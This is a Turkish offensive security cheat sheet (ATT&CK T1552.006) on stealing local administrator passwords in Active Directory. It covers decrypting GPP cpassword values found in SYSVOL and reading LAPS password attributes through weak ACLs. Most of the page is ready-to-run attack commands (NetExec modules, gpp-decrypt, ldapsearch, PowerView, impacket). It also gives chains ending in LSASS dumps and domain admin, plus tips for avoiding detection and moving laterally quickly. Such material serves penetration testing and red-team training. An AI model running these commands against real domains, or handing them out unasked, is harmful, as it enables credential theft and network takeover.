Skip to content

GPP Parolaları & LAPS

ATT&CK T1552.006 difficulty: kolay

Domain’de yerel yönetici parolaları iki yaygın yerde sızabilir: eski Group Policy Preferences (GPP) dosyalarındaki AES ile “şifrelenmiş” cpassword ve yanlış yapılandırılmış LAPS (legacy ms-Mcs-AdmPwd veya Windows LAPS msLAPS-Password) okuma ACL’leri. Her ikisi de düşük yetkili domain kullanıcısıyla başlar.

Microsoft’un GPP parola şifreleme anahtarı (AES-256) yayımlanmıştır; cpassword geri çözülür. MS14-025 sonrası yeni GPP parola ekleme engellendi ama eski XML’ler SYSVOL’de kalabilir.

  1. SYSVOL’de ara — Authenticated Users genelde okuyabilir: Tipik dosyalar: Groups.xml , Services.xml , ScheduledTasks.xml , DataSources.xml , Printers.xml , Drives.xml .

    Terminal window
    smbclient //dc01.domain.local/SYSVOL -U 'domain.local/user%Pass123'
    Terminal window
    findstr /S /I cpassword \\domain.local\SYSVOL\domain.local\Policies\*.xml
    Terminal window
    nxc smb DC -u user -p 'Pass123' -M gpp_password
    Terminal window
    nxc smb DC -u user -p 'Pass123' -M gpp_autologin
    Terminal window
    Get-GPPPassword
  2. Çöz :

    Terminal window
    gpp-decrypt <cpassword_base64>
  3. Kullan — çıkan yerel admin / servis parolası ile Pass-the-Hash öncesi parola login, spray veya aynı parolanın domain hesaplarında reuse’u.

LAPS, her bilgisayarda benzersiz yerel admin parolasını LDAP özniteliğinde tutar. Okuma yetkisi yanlışlıkla büyük gruplara (Domain Users) verilmişse oyun biter.

Terminal window
nxc ldap DC -u user -p 'Pass123' -M laps
Terminal window
nxc smb 10.10.10.0/24 -u user -p 'Pass123' -M laps
Terminal window
ldapsearch -x -H ldap://DC -D 'user@domain.local' -w 'Pass' \
-b 'DC=domain,DC=local' '(ms-Mcs-AdmPwd=*)' dNSHostName ms-Mcs-AdmPwd
Terminal window
Get-DomainComputer -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime |
Terminal window
? { $_.['ms-Mcs-AdmPwd'] }
Terminal window
Get-ADComputer -Identity PC01 -Properties ms-Mcs-AdmPwd
Terminal window
Get-LapsADPassword -Identity PC01 -AsPlainText

Öznitelikler: msLAPS-Password, msLAPS-PasswordExpirationTime, msLAPS-EncryptedPassword (şifreli blob — yetkili decrypt).

Terminal window
nxc ldap DC -u user -p 'Pass' -M laps

BloodHound kenarı: ReadLAPSPassword.

Terminal window
Find-InterestingDomainAcl -ResolveGUIDs |
? { $_.ObjectAceType -match 'ms-Mcs-AdmPwd|LAPS' }
Terminal window
impacket-dacledit -action read -target 'PC01$' domain.local/user:'Pass'
  1. Okuma yetkisini bul — hangi grup ms-Mcs-AdmPwd / msLAPS-Password okuyabiliyor.

  2. O gruba yolu bul — MemberOf / ACL abuse ile gruba gir veya hakkı olan hesabı ele geçir.

  3. Parolayı çek ve hedefte local admin olarak exec / PtH.

LAPS · NetExec

embedded tool
Generated command
nxc ldap 10.10.10.5 -u user -p Pass123 -M laps
Domain user → nxc -M gpp_password → local admin pass on FILE01
→ SMB Pwn3d → LSASS → DA session
veya:
Helpdesk group → ReadLAPSPassword on Servers OU
→ LAPS on JUMP01 → RDP → dump
  • SYSVOL tarama düşük gürültü (normal Windows davranışı gibi maskelenebilir).
  • Tüm bilgisayarlar için LAPS LDAP dump’ı belirgin olabilir — OU/hedefli çek.
  • LAPS parolası rotate olur; not ettiğin parola expire olabilir — kullanınca hemen lateral.
  • gpp_password bulgusu “eski” olsa da hâlâ geçerli credential olabilir.
  • cpassword yok = GPP temizlenmiş; LAPS’e geç.
  • LAPS özniteliği boş → bilgisayar henüz policy almamış / LAPS yok.
  • Windows LAPS encrypted attribute’u düz ldapsearch ile plaintext vermez; uygun araç/decrypt hakkı gerekir.
  • Yerel admin kullanıcı adı değişmiş olabilir ( Administrator değil) — LAPS account name / GPO kontrol et.
  • AzURI / deny ACE — BloodHound “okunur” dese de pratikte deny üstün gelebilir.

Pass-the-Hash · Exec methods · ACL Abuse · Enumeration